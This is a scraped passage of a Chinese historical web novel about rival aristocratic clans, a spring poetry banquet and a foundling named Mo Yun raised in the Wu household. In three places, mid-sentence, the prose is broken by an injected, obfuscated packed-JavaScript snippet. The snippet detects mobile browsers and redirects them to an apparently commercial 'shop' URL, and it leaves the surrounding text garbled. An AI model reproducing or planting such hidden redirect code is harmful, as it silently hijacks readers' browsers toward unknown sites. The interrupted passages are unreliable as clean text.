“人是少不了的,自曹公于会稽号召了诗会开始,每年春日都有许多雅士在曲水流觞处斗诗才,激烈的很,文才、酒量缺一不可。前几年更是出了四十余首诗,十余篇骈文,真是令吾等汗颜。” 曹公说的就是晋的开国功臣,本朝第一丞相,他在位之时绝对掌权,一家独大,自他去后过了许久,才逐渐演变成了两家门阀共治。 此人不光在政治上眼光毒辣,论起风流来也是前无古人后无来者。 据传其曾赤身裸体,于峻岭中徒步…… …… “此次是吴家做东,想必吴公会至,李公也不会缺席罢。”那人一挥衣袖,若有所思的说道。 “那是自然,以往在会稽集会之时,吴公一众人都在京城,这会儿难得吴家做东,京中人士与会稽合席,不少人就是奔着这个来的。在京中见李吴二公,可并非易事。” “不知怎的,这次春日宴竟然是吴家张罗的,我记得吴大人是个不喜琐事之人来着。” “卿有所不知,此番将春日宴定在会稽,就是吴大人的意思。”说罢,他停顿一下,扇了扇扇子向友人倾身,耳语。 原是吴决身体越发虚弱,不似以往健朗,于是想在人尚清醒之时,借春日宴这一个由头将平生好友聚在一起,再叙一叙旧,纵情山水放任感官自在一番。 友人心下了然,面有戚戚之色,“吴大人的书法,我曾有幸观之,实乃千古行书。” “卿所言极是,人生苦短,还是要及时行乐啊。” “哎,那是不是子敬,走罢,与子敬好久未见了。” 在好友的拉扯下,二人结伴向不远处的来人走去。 小溪旁渐渐聚满了人,众人分散在这处风光大美的山野间,或聚或散,衣袖飘逸,裙摆摇曳,其中不乏才子佳人的身影,亦不缺肃立威严的官员。 杨柳依依,小河潺潺。 侍者一行人也在这时成排入宴,为参加春日宴的客人奉上酒水,清茶。大多人都未选择在宴席开始之前饮酒,免得曲水流觞尚未开始,就喝了个酩酊大醉出洋相。 突然,一阵悠扬的笛声从竹林中传出,声音如泣如诉又突然清澈明亮起来,仿佛自由翱翔于穹空之中的岩雀一般,笛声流畅,穿行于众人的耳畔,勾的不知多少人心绪震颤。 竹林摇曳,叶片婆娑,沙沙作响。 幽深的绿意之处,走出一个衣带飘飘,一身蓝衣身带佩玉之人,他身量长,头戴冠玉并未披发,风度翩翩一看就是士族出身的公子。 众人的目光,自笛声悠悠吹响之时就落到了他身上,原本惊艳的神情在认清来人身份之后多了一分了然,似乎对他的到来感到‘就该是这样’。 此人就是吴恒,因在家中排行第三,时常被唤作吴老三。 “就知道是吴老三。” 自吴恒身后,一个满面笑意的人乐呵呵的走了过来,吴恒一边吹笛,一边睁开眼瞅了瞅来人,他身形一转,笛声也绕了个弯儿一般在空中打转,再一声颤音,吴恒收了吹笛的气,只余回响。 “文道。”吴恒笑骂一句,和来人勾肩搭背。 与他称兄道弟之人,就是李家人,李忞之,字文道,如今在朝廷中领了职务,新派之人。 “真是吓到我了,看你方才闭目,以为是和我生了嫌隙,好在好在,你吴老三还是我的好兄弟。” 二人勾着肩往溪边走去,吴恒收了长笛随手挂在了腰间,与李忞之不同,吴家子弟多不愿入朝为官,哪怕是李公之子都对政事不感兴趣,子侄都随了吴决,与其入朝做官,不如寄情山水。 但无论是做官还是闲散人家,士族都有士族的立场,同一家的也会亲本家派别。 新派旧派虽说都是士族之人多,但以门阀为首的旧派相比新派要更为孤傲,寒门子弟一概拒之门外,李家更是规矩繁多,子孙皆习惯在传统的圈层中活动。新派就更为灵活,凡是有才干之人都会被举荐,得到些许机会。 不过机会不太多就是了,跟门阀抢肉无异于虎夺食。 “你也知道,”吴恒无奈摇头,他早年四处游历,许久未涉事京中,对新旧之争只能说是有所耳闻,“日子不好过吧。” 李忞之苦笑,闷了一口清茶,动作之粗俗惊得吴恒频频侧目。 “何止不好过,若不是我出身嫡系,现在想必要被除名了。” 吴恒诧异,有些不解,他确实是离开京中太久,不知道如今的新派到底把持着什么样的主张在和门阀抗衡。虽然就算知道,他也未必在意。 清茶入口清爽,隐隐回甘。 此时盘坐于蒲团之上,牛饮一般灌茶的李忞之,硬是把上好的茶喝成了黄连水一般苦皱着脸,他与吴老三自幼便关系亲近,李家人的性格他不喜欢,便和生性洒脱的吴家人更为亲近。 这么说来,他那个挂名的义弟倒是比正宗的李家人还要合他的性子,也是这般和吴家人交好。 “自幼一同长大的情分,哪能说散就散。”吴恒不以为意,只是摇了摇头,又顺手给李忞之斟上了茶。 此话一出,李忞之是彻底明白了。 好嘛,这人根本就没回京,不知从哪个山里下来,就直直的往会稽这来了。 一时之间,李忞之都不知是该跟吴恒掰扯清楚其中的利害关系,还是该自行默默离开,免得牵连吴恒一同在春日宴吃冷席。 “哪怕是最没规矩的吴町,都不再似以往那般热络了,吴老三,你该多长个心眼,据我所知,灵岫都和子甫割席有一段时日了吧。” 李忞之说罢,也没管自己丢下了一句什么惊涛骇浪的话给吴恒,自顾自的远眺山林,长呼一口气。 啪嗒—— 茶盏掉到地上,顺着坡儿开始翻滚,圆溜溜的“扑通”一下掉进了小溪中,顺流而下,不知道飘到哪去了。 远眺之人被这一阵异动惹得吓了一跳,他疑惑的望向左边,就看吴恒瞠目结舌,大为震惊,再一看,这人的茶盏已经漂远捞不回来了。 哎呦,上好的盏啊这是。 暴殄天物。 “你说,谁和谁割席了?” ==== “公子,东西都备好了,方才忞之公子来传话,说他先一步去雾源了。”阿常走进屋,边合上门边说道。 屋内敞着窗,莫筠伏案仍在处理事务,新派之人在朝堂之中免不了被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道的就这些了,你又不是不知道子甫的性子,能从他嘴里听来这些,已经是很给我面子了。” 吴恒显然还在震惊当中,他做哥哥的,虽说不如吴町和吴庆漪关系亲近,但自小都一同长大,对灵岫的性子也可以说摸得七七八八。 那个会笑吟吟的拉着哥哥姐姐出门游玩,吟诗作赋的小妹,何时做事如此决绝了? “这么惊讶?”李忞之噎住。 在李忞之看来,吴庆漪和莫筠割席在如今的形势下并不突兀,昔日友人反目,史书上多的是这样的例子,他和吴恒现在还能好好坐在一块说话,还要多亏吴恒心在江湖四野,无心朝廷。 吴家那个少有才女之名的灵岫姑娘,可是门阀苦心培养的好苗子,政治嗅觉是她那几个哥哥姐姐都不能比的。女子是不能从政不假,可士族子女,有几个可以彻底抽身于泥潭的? 有才情傍身,又有头脑,不知多少士族门阀盯着吴家,只等时机一到,就蜂拥上前攀附结亲。 姻亲纽带,一直是士族门阀最为看重的东西之一。 有这么好的归宿,何必和众叛亲离的新派之人牵扯到一起。 身为李氏人的李忞之这么想着,与他同坐一处的吴氏人显然不认同他的说法,吴恒只说了一句话—— “那灵岫何不痛快的也和你割席,真要论姻亲,你一个李氏嫡子,不比他身份体面?” 既能表明自己的立场,还能肃清人情往来。 李忞之搓了搓眉毛,不说话了。 那是为何? 他又往左瞅了一眼吴老三,看他也是一脸不解,李忞之耸了耸肩,又送入口一盏茶,做哥哥的都不知道,他就更没头绪了。 不过…… 说到子甫和云岫二人,好像是有这么个事儿来着—— 如今的中书侍郎莫子甫,是名义上的李家人,李公义子,在很长一段时间,其地位都和家中嫡系无差,不过这都是外人看到的。 京中人皆知李家作为门阀之首,数代丞相皆出自李家,其权势之盛几乎无其余士族可以相比较,就这么一户正统的人家,出了两个新派的人物。 一个莫筠,一个李忞之。 新派内部挑了莫筠作为门面,是为试探,因李忞之更为正统,且扎根门阀更深,所以新派不敢将大鱼放出去,只让莫筠作为鱼饵,试一试皇帝的态度。 于是一时之间,莫筠被顶到了风口浪尖上,但他并不“无辜”,这些计谋甚至是他参与一同敲定的。 吴庆漪就是看破了这一点,才会直接上门质问莫筠,因为莫筠和李忞之一样,是清醒的,甚至说是有图谋的进入新派的。 而非被蒙骗或被利用。 那这个莫筠到底是什么来历?才能让李公收为义子? 新旧派开始在明面上争斗之后,不少人都在心中想过这个问题,包括状况外的百姓。 无他,莫筠的出现太突兀了。 从未有人越过李家的众多英才子弟,将目光放到他的身上,一个义子,就算和嫡子同起同坐又如何?李家多的是孩子,门阀之后也多的是文采斐然的新起之秀。 因相关的讯息太少,关于身份的讨论声传了一阵便消止了,随之而来的就是越传越广的堪称谣言的评价。 狼子野心、忘恩负义…… 很少有人知道,莫筠一开始是长在吴家的。 半晌,李忞之才像是回忆起什么来扭过头,问了正在摇扇的吴恒一个问题。 “所以,当时吴家到底发生了什么,让你们把这个孩子送到了李家。” 5. 往事 永安七年,休沐日,窗外雪。 吴家因吴决而在京中有了一席之地,自会稽侨居京都,吴量寄情山水无心世俗喧嚣于是留在了老宅,吴道丽出嫁,随夫家到陈郡,其夫时任陈郡太守一职。 其后几年,吴庆漪入京,由叔父吴决教养。 那时的吴庆漪,粉雕玉琢的小姑娘,侍者为她梳着两个发髻,一步一晃,灵动俏丽,一身锦衣衬得她更为尊贵,虽年幼,然举止大方,凡见庆漪者,皆喜笑颜开,乐意和她坐在一起,听她稚嫩的说着对诗文的见解。 吴町长她两岁,从小是个捣蛋没规矩的,见家中来了个水灵灵的妹妹,乐不开支,成日拉着吴庆漪上街游玩。 因年幼,侍者跟了四五人,两个人一同出门,身后浩浩荡荡跟着一队人马,生怕两位小主子有什么闪失。 架势之张扬,引路人纷纷侧目。 不过在京中,她们并不显眼,甚至算得上低调,京都天子脚下,最不缺世家大族,出行依仗首尾能拖一条街的人家也不在少数。 冬日天边纷纷飘雪,屋檐墙角都缀上了洁白的碎银子,晨起之时,若一片雾林,万籁俱寂。 吴町拉着小妹出门,一大早就吆喝着来吴庆漪院中,惹的早起练武的吴老三不得安生,收了剑加入了二人。 兄妹三人沿着京都的大道徐徐走着,这是吴老三吴恒的主意。 胞妹吴町还是小孩心性,对款式繁多的珠钗感兴趣,对市井间的小玩意爱不释手,平日里趁着热闹拉着吴庆漪就往茶坊酒肆蹿。 京都的大道虽然工整,井然有序又不失繁美,却不够有趣,吴町独爱那些贵女们退避三舍的幽深小径,不知蜿蜒到哪里,才有行走的价值。 但冬日不能行走,下雪落霜的时节更是不能随意穿行其中。 吴恒可不想让两个稚嫩尚年幼的妹妹,在兴趣正高的时候撞上衣不蔽体,风餐露宿的流民贫民,这些一生都不会困扰他们的问题,何必过早的摊开在她们眼前呢? 清贵的公子抚了抚腰间的佩玉长萧,正色的咳了咳,在自己吸引来两位妹妹的注目之后,又挂上温润笑意: “京中比会稽冷些,小妹还适应吗?” 吴庆漪娇俏的小脸正埋在毛茸茸的衣领之中,闻言她只点了点头,没说什么话。 身旁的吴町显然很熟悉她的性格,知道这位小妹妹不是多话之人,在家中就喜好独坐,不似同龄人那般心思直白。她拉起吴庆漪的手,十分坦然的使唤兄长去找茶坊,她要带着妹妹避风。 “我们去喝盏热茶,兄长知道家很不错的地方,一般人他都不告诉呢?”吴町笑着说。 吴家公子钟情的茶坊,是京中传承好几代的南方人开的,坊内不似其他家茶饮分一二三等,他家只上最好的茶,客人大多是士族子弟,唯少少的商人踏足。 雅间更是布置讲究,听得见琵琶珠玉落盘之声,嗅得着沉心养神的熏香,推开窗子,放眼望去是大好的街景。 吴老三偏爱的那个雅间,独他一人可享,是茶坊卖给吴家的面子,在一众门阀子弟当中都堪称特殊。 这样的“殊待”,在吴决掌权之后,遍布京中,随意可寻。 茶坊在京中最繁华的主街不远处的一个巷子内,既占了上好的地理位置,又免于街闹嘈杂,得一隅安宁。 这样的地方,是碰不到乱子的,吴恒这般想着,放下心来领着两个妹妹去吃茶。 如他所料,一路上确实没遇到什么事,三人喝了茶,暖和不少,歇好脚之后就准备逛着回府。 茶坊挂起的灯笼别致,是会稽见不到的样式,小庆漪一时好奇,站在灯笼下边仰起头端详了好一会儿,她本就是个专注的性子,遇到感兴趣的事物可以静下心来细细打量。 像是要透过薄纸看清内里的框架一般。 吴町见她喜欢,便扭头招呼侍者去跟茶坊老板谈一谈,准备买下来一个送给吴庆漪。 侍者恭敬的应下,退下去商谈了。 茶坊老板见贵人喜欢,哪里会收钱,想着外头的灯笼都落了雪,便令人去拿了新的来,谁知这一问才知道,吴庆漪相中的那个灯笼,是坊内旧置的,如今库房里都是新样式,前些日子刚送来的,预备着过年用。 侍者一听犯了难,她不好自行处理,又折身去问吴町的意思。 是要个旧的?还是带走新的? 吴町大手一挥,表示这等小事不用过问她,直接都拿着就行了,哦不对,吴町顿了顿,扭头跟侍者说: “问问坊主有没有撑灯笼的杆子,给我们小妹拿一个,她这么喜欢,可以回家的路上一直看。” 眼睛亮晶晶的吴庆漪站在小大人儿似的吴町身旁,像极了家中被宠爱的小小贵女,吴恒在一旁乐的不可开支,跟自己的侍者频频搭话。 瞧瞧。 这威风劲儿,真有姐姐的样子,嘿,奇了。 侍者满头黑线,无奈的推了推自家公子,让他别惹得吴町白眼。 只可惜,晚了一步。 吴町娘子的白眼“嗖”的就过来了。 侍者、吴恒:…… 称兄道弟的主仆二人立正站好了。 “走吧,随兄长回家,今晚府上烧肘子,不知合不合二位妹妹的胃口。” 正说着,灯笼也拿来了,新的旧的各一盏,吴庆漪眨眨眼,一边拉着吴町的手,一边自己亲自去够那盏落了雪的灯笼。 侍者要帮她拿,小庆漪摇摇头,坚持自己提着。 于是一众人不再说什么,随她开心去了。 * “看什么看!还不做活!” 啪——的一声,门如同鞭子一样甩合上,将寒冬中的一位衣衫单薄的人关在了门外,屋内是医馆,屋外的小巷。 门外之人身穿粗布褐色衣服,身体因整日维持恭敬卑顺的姿态而僵死在佝偻的框架之中,瞧着有几分思绪不清明的样子,许是被冻糊涂了。 这样的人,敲繁杂闹市医馆的门,是敲不开的。 这里的医者,甚至都是寒门士族家里出来的,问诊的病人也多是世家大族,一个身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468335|201344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份不明,意识不清醒又不知道从属哪家的老仆,根本分不走他们的一分怜悯。 行人不断的向他投去打量的目光,压的他肩膀沉沉,可他不能就这么算了,小公子还在等他带药回去,少年赤红的病中的脸出现在这个老仆的脑海之中。 老仆踉跄几步,身形虚弱。 扶着墙,一步一步的走,他已是强弩之弓,脚下不着一物,满身尘土,瞧着不似京中之人,像是外地来逃难的。 他一路西行,像是突然意识到自己活不了多久,于是急着赶路什么都顾不上了,老仆想着,总得再交代交代那个未长大的少年。 于是,他走得更快了些。 什么都听不到了,也没看到路人慌张四散,向旁边避开。 吁—— 人仰马翻,果子和面粉散落一地。 “哎,哎,醒醒——” 开始有人围了上来,试探着打量倒在地上的人是什么状况。 再然后,小巷内只余地上的那个老仆,和无法收起来的面粉,还有几个烂果子。 青砖路上人影摇晃,身后是繁杂的大道人来人往,面前是深不见尽头的民间小巷,少年走进来在不远处停住,影子斜斜的在他脚尖指向的方向。 他看到自己死去的仆人。 散下的头发遮住了他的大半张脸,露在外面的嘴角僵直微抿,蓦地,他嘴角一扬从喉咙深处滚上一口气来,嗤笑出声,耷拉着眼皮好像懒得看到这巷内发生的一切。 裸露在外的牙齿和眼白,凝固不动。 少年没什么人气儿的样子,时间犹如静止般降临在他的身上,好一会儿,唯瞧着他衣角翻飞,才知道这是一个活人伫立,不是死物。 落雪了,起初是薄薄的细雪。 昨夜的雪还没化,今日的又一层一层覆上来,越来越厚,白茫茫的雪折射着光映亮了少年的脸,赤红的脸颊,高热病人的脸。 他很烫,吹到他脸上的雪化为水滑落到衣领里,不肖多久的功夫,少年浑身湿漉漉,他低垂着眼,幽幽的转身,向巷子外走去。 高烧中的人,在雪中能走多久? * 吴庆漪边走边打量灯笼拱形的提梁,她使些力气将灯提到眼前,看的很认真,支柱和支柱之间,摇摇晃晃的框出一个小人来。 她放下灯,愣住了。 雪簌簌落下。 乌发肤白面色赤红之人躺倒在地,瘦骨吊着他的皮,深邃的眼窝,直挺挺的鼻梁,高挑的眉骨,阴影恰到好处的落在他的脸上。 比茶坊高挂着的灯笼还要精巧几分。 只可惜太瘦了些,不像活人,像阴郁的鬼,湿漉的乌发贴在他的脸上,不知道是冻的,还是天生长得一幅苍白的肤色。 天师斩的鬼或许都没有他好看。 华贵的衣裙落在地上,前几刻还备受喜爱的灯笼也随意的搁在了一边,年龄尚幼的贵女伸出手,轻轻的放在了他的鼻前。 半晌,她回头说道: “姐姐,我可以带他回去吗?” 6. 往事(2) “带都带回来了,难道还能把人赶出去不成?阿大若是看到庆漪这样喜好,也会允她的。” 吴决沉默,直直的看向自己的女儿,眼皮突突的跳。 这是喜好不喜好的事吗,一个活生生的人,不知是谁家的弃子,寒冬天躺倒在道边,毫不知根系就带回府,若是有疫病感染到这几个孩子身上怎么办? 再说了,庆漪是捡了个少年回来,又不是一条狗。 野犬还要挑性子呢! 那性子恶劣、太过顽皮、野性尚存的,就算是狗也不能养在身边。 站在吴町旁边的吴恒摸了摸鼻子,有些心虚,但……唉,庆漪确实相中了不是,她初来京中,撞到这种事,一时想帮忙也是正常的。 毕竟会稽民风与京中不同,也少寒冬暴雪天气,想来小庆漪是没见过冻倒在街边,饿死在小巷中的人。 见到了,熟视无睹的走开,也不合常理。 虽然相处的时间不长,但是吴恒和吴町一样,都对这从会稽来的小妹很有好感。 纯善的孩子。 想到这,吴恒摸着鼻子笑了一下,回道:“阿大莫慌,我看小妹心如明镜,不是看不出善恶之人,待那少年醒了,我便去审一审,若是性子不坏,就任他去留吧。” 吴町也跟着点头,很支持自家兄长的样子。 瞧着这兄妹连心的模样,吴决语塞,几次想要开口最终还是作罢了。 顺其自然。 吴公这样宽慰自己,心境随之开阔不少,没再约束小辈的作为。 * 正如吴家家风,乘风好去,随遇而安,世家大族的底蕴让世世代代免于落到食不果腹,衣不蔽体的贫困之境,土地逐渐的兼并历程填满了门阀的库房,哪怕不入官场,子子孙孙仍能偏安一隅的逍遥一世。 于是,新一代的吴家子弟都没有很强的危机意识,再加上时局动荡更迭迅速,今日下“小雨”,明日大“冰雹”,于是乎,晋国人士都懒得撑伞,只是一味的享受当下的阳光。 暾将出兮东方,照吾槛兮扶桑。 服下逍遥散,身穿廓形衣。 摇摇晃晃行走于天地间,不见面色戚戚,只觉神明开朗。 吴恒和一众友人喝了热酒,服了些许逍遥,畅快了一整个白日,才突然想起来家中捡回来了个少年,他顿住—— 嗐,差点忘了,让我去瞧一瞧。 心境无比开阔的吴恒,此时可以忽略一切问题,不以为意,他从局中抽身出来,侍者驱牛车接他回府,主仆二人就这样到了那少年床前。 一身阔大衣袍的贵公子俯身,因视线模糊而一寸一寸的凑过去打量病中的少年,他微微挑眉,惊叹于此人的好颜色。 挺直的鼻梁,利落的脸型轮廓。 眉如翠羽,肌如白雪。 “只是,脸怎么这么红?”吴恒疑惑出声。 侍者尚清醒,见自家公子左看看右看看吐出这么一句话,并不意外,他回道:“此人尚病中。” 吴恒表示,原来是这样。 他见少年沉睡,又在病中恹恹,觉得看不出什么有异的地方,于是一挥袖子准备离开,刚一转身,就见门房那探进来一个小脑袋,未施粉黛,似乎刚睡醒起来。 “庆漪?” 小贵女跨进门,揉了揉眼睛,打量了下不同往日穿戴齐整的吴恒,有些诧异,她眨了眨眼,对上了他的目光。 “阿兄是服散了吗?” 不知是哪个字眼戳到了吴恒的心窝,他的神情突然化水陶醉了一般,飘飘然起来,贵公子放柔了声音说道: “庆漪觉得此人性情如何?” 原是来瞧人的,小庆漪心下了然,她觉得少年实在好看,想留下他多呆几天,因着他高烧,昏昏睡睡,她没怎么和他相处。 嗯……虽然没怎么相处,但是这个性情吧。 小贵女想了想床上少年清醒时紧绷的状态,漠视一切的阴郁神情,以及与周身一切事物相冲的具有野性的气质。 像极了会稽山中未脱野性的豹猫幼崽,想来和城中的弃犬差不多? 会稽山养出的性子纯善的最为灵动的贵女,少见的沉默了,她看着吴恒亮晶晶但不怎么清醒的眼睛,眼瞳微缩、别开头去。 半晌,她摸着鼻子回了句,“不错,可堪为用。” * “既然是可用之才,那就留下吧,和阿常他们一同做事。”吴决放下茶盏对吴恒说道。 吴恒应下,让侍者喊来阿常,交代了些许事宜就没再过问此事。 那时,在这位吴家兄长的印象中,那个少年也就是一个样貌出众的普通侍者。 此后几年,吴决在朝中的地位越发牢固,李吴两家的关系也交织缠绕在了一起,吴町和李家嫡子定下婚约,有了姻亲之名,来往更为密切。 出游时往往两家同行,浩浩荡荡好些人,热闹的很,吴恒和李忞之性情相投,连带着吴町、吴庆漪都与这位李家公子相熟起来。 不知是否因为人多热闹疏忽了小庆漪的异样,以至于发现的时候她心病已成,还是一片喧闹之中显出了小贵女的心事,让众人觉察了她的愁思。 总之,待吴家人发现这位最年幼的小妹郁郁寡欢,食欲不振,有伤心败体之势的时候,吴庆漪已经将那些神思细嚼慢咽连成一环,无法轻易开解。 见到一向纯善天真不染世俗的小妹不复以往开朗,吴家众人哪能轻拿轻放,随其自然发展? 吴恒一连数日,每天带新奇的玩意儿回府放到她的桌前,非昂贵、非精巧的都不会出现在自家小妹面前。 吴决的长子,那时初入官场,在给父亲打下手,忙的脚不沾地也不忘向同僚打探如何哄女子开颜,那番刨根问底的姿态,惊得京中同僚纷纷以为他要娶妻,还有人问吴决准备和哪家姑娘联姻。 吴町更是无所不用其极,拉着小庆漪走马,舞剑,攀山,门阀之首家中出来的娘子,一时之间竟是什么宴会都不去了,一心陪自家小妹找乐子。 虽然最后乐子都是吴町自己乐了。 交好的贵女给吴町出主意,让她带着人多上聚会上玩一玩,没准就好了。 这一听,吴町觉得可行,又风风火火的拉着吴庆漪参加宴会,什么赏花啦,赏水啦,饮酒作赋啦。 因着士族贵女聚会也少不了飞花令曲水流觞,小庆漪文思如泉涌,无败绩,这一参加,吴家小贵女开没开怀不知道,其余娘子可是屡战屡败,输了个没脾气。 吴町对此表示:…… 几年前她也是这样的,习惯就好,习惯就好。 众人什么招儿都出了,小庆漪的“病情”却不见好,如此这般,愁的吴家上下脑子生疼,他们不知道这位自幼无世俗烦忧,锦衣玉食的小贵女心中郁结所为何事。 李吴交好,李家也送来了不少罕见的宝贝来博美人一笑。 李忞之见吴恒发愁,还提议过要不要养个宠来逗乐,人做不到的事,没准小狸小狗就办到了。 听闻谢家养有宋鹊甚佳,要不去问问,有没有幼犬可以抱回来养在身边? “论抚慰人心,还是小狸小狗来得快,吴兄还真可一试,我家妹妹先前养过一只白灵,通身纯白,眼瞳碧青,除了性子野了些,还是很喜人的。若是怕狸伤人,不妨试一试犬,较之更衷心。” “毛儿也是一样的软。” 吴恒听了进去,准备择日找谢远道喝喝酒,要一只小狗来,就是不知道那谢家公子还记不记恨他年少时泼他墨汁一事。 应该是忘了吧。 吴恒腹稿打了好几天,正准备出门去茶坊找谢远道叙旧,绕过自己的小院往大门走,路过凉亭之时,偶然看到吴庆漪坐在亭中读书,他正要去问问她近日感觉如何,就见柱子后面绕出来一道清瘦的身影。 世人都道女子身形纤瘦,他今日是开眼了不知男子瘦弱却清劲如松般已是美景,垂下的发丝遮住他黑漆的眸色。 一身粗衣不减其半分如玉颜色。 那捡回府的弃子不知说了什么,勾的他小妹好奇,只见他蹲下身将自己的手腕递上前去,身影挡住了二人的交往,吴恒什么也瞧不见。 没瞧见那少年单薄皮肤下透出的青筋,也没瞧见那弃子如鼓如雷的脉搏振动,胸腔中涌起的情绪难以平复。 芭蕉叶随风摇晃,柳叶稍儿簌簌作响。 草丛中蹲着个吴恒皱着脸恨不得自己有千里耳,他腰间的佩玉勾在了草枝上,手上还拿着要给谢远道的礼,上好的墨宝。 再然后,吴恒就见小庆漪勾唇一笑,眼睛亮晶晶的一如她初来京中的模样。 那天吴恒没去茶坊,留下了自己的墨宝。 他想,李忞之所言差矣,抚慰人心,也不是非狸狗莫属。 * 弃子名莫筠,自他哄得吴庆漪开颜,便在府中得了尊重,先是成了吴庆漪院中颇受器重的侍者,和阿常阿昌一道在她手下做事。 吴家尚平等,讲学诵读诗文的时候,侍者不必避讳,若是有心学,也能学到不少东西。 莫筠格外出众。 在院里的一众人被吴庆漪的才情震的接不上话之时,莫筠不仅能接上她的对子,还能一并斟上她喜欢的茶。 久而久之,二人越发亲近,几乎到了形影不离的程度。 小贵女拉着他和其他公子娘子们一同投壶,赋诗,莫筠也不抢风头,一开始其他贵门子弟瞧不上这个侍者,只是看在吴庆漪的面子上没有出言讥讽,但话里音清高,不愿与之为伍。 吴庆漪没有贸然为他出头,莫筠本人也惯常一幅恹恹作态,懒得争辩。 唯有需要他接话之时,他才言简意赅的说些什么。 作诗、赋文、书论。 堵得其余人哑口无言,这才认可了他。 再后来,莫筠就被调到了门客手下,做些文书整理的活儿,他头脑实在灵光,凡是交代到他手中的工作,他都处理的很好,触类旁通。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468336|201344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴家爱才,将他提为门生。 哪怕在门客手下做事,不再是贵女的侍者,吴庆漪等人出游之时,仍会喊上莫筠一起,吴町不觉有什么问题,只要小妹开心就好。 吴恒和李忞之一向是唯二位妹妹是从,随她们心意。 几人就这样不顾身份尊卑的交好数年,也算是一同长大。 后来,莫筠和府中的老门客有了龌龊,那位老先生在吴决面前痛斥其行事不端,非君子,若是府上仍留此子,他便还乡不再负责府中事务。 府内出了这种事,自然要彻查。可那位老先生咬死不放的账房事务,证据已毁,无法求真。他德高望重,其祖父开始便代代相传,听任吴家的差遣,若是将他于耄耋之年驱赶出府,恐寒人心。 莫筠再怎么有才能,到底是孤身一人,连寒门的家底都没有。 没人保他,哪怕吴恒几人都替他说话,也难以扭转局势。 于是,半补偿半驱赶,莫筠成了李家人。 李家派了仆役来接人,那日风急雨促,地上积水成池,树木呈繁茂葱郁之景,莫筠只拿走了换洗的几件衣物,府上所赠的供他使用的物件儿皆弃置,阿常也随着他离开。 大雨倾盆而下,重重的落在伞面上,若是使不动力气,便会将伞撑的左摇右晃。 摇晃的伞面下,是女子纤长的衣裙,宽大的袖口,在夹杂着水气的风中,是吴庆漪若隐若现的泪眼和肃立的皎白的面容。 阿昌在一旁默然站立。 侍者看到门外即将离开的那个人转身,遥遥的向内望来,半边衣袍被雨水浸湿,颜色重重,他已不再是初入府时的瘦弱之躯,抽长高挑的身形衬的一身靛青袍更为笔挺,腰间的佩玉和铃铛碰在一起。 叮当、叮铃铃。 那人抬眼,眼底的青色和浓稠的眸色交杂在一起,不知是否是阴雨天潮湿的缘故,远远望去,阿昌只觉心中发凉,像与沼气混在一起被嗅入鼻尖,令自己头晕目眩。 好像那个前些日子如同贵公子一般的莫筠只是她的一场幻觉,阿昌握紧了伞柄,伞面依旧在雨中摇晃。 方才那人持伞时,伞面就稳稳当当的,没让娘子受着半点雨。 她再看向自家娘子。 吴庆漪已经收起了方才的情绪,狭长的凤眸内勾外翘,灵气逼人,唯眼角的濡湿残存着女子涌动的思绪。 事已至此,再多的话只是徒劳。 * “所以,与其说什么去劝勉,不如好好的将人送走。”吴恒抿了抿茶,又跟了一句,“再说了,去了李家不一定比呆在吴家差,李公的义子,难道还比不上一个普通的门生吗?” 李忞之动作一顿,张口半刻,又闭上了。 他心想,这可真不好说。 不过…… “他没说过?” 吴恒扭头疑惑皱眉:“说什么?” 他在李家的日子,莫筠离开吴家之后过的是什么样的日子。 李忞之对上吴恒的视线,微微挑眉示意他自己想想,半晌,吴恒像是反应过来什么“噢”了一声。 “你说子甫阿,他没怎么说过,或许灵岫知道?我只问过一次,他说‘一切照旧’,之后我就没再提了。” 吴恒没当回事儿的随口答道,视线一偏,他瞧见不远处端着果盘的侍者,于是举高手臂将人吆喝来,要走了果子,还麻烦人再送个茶盏来。 侍者应下,转身离开了。 李忞之正在沉思,瘫坐在地上,脚尖时不时对在一起,又分开。 “怎的不说话?”吴恒原本盘着腿,见他摆弄自己的脚,也跟着坐到地上摆弄着。 李忞之长吐出一口气,后仰着头没吭声。 他突然觉得没什么好说的,如今已是侍郎官的莫筠或许也不需要他为之游说什么,新派的路艰险,李忞之走在路上不觉辛苦。 但这个他自年少时就认识的,有些阴郁的少年。 总在经历一些他只听闻就觉得满鼻子血腥气的事,偏偏这些事,莫筠本人毫不在意,不诉苦,也不抱怨。 面对吴恒未说出口的话,对着吴庆漪就更说不出了。 他要如何对着那个将自己拉回人间尝尽春秋美好,又使劲了力气想要将他留在身边的人,说自己过的不好? 更遑论那个人的身份,与自己天壤之别。 “没什么,只是觉得灵岫和子甫关系一直很好,不至于到这一步。”李忞之说道: 吴恒笑他自相矛盾,刚才还在说二人割席有迹可循,且符合常理。 李忞之双手一摊,将莫筠的事遮掩过去。 身旁之人笑而不语,也默默的掩下了吴庆漪的往事。 “公子,茶盏。” 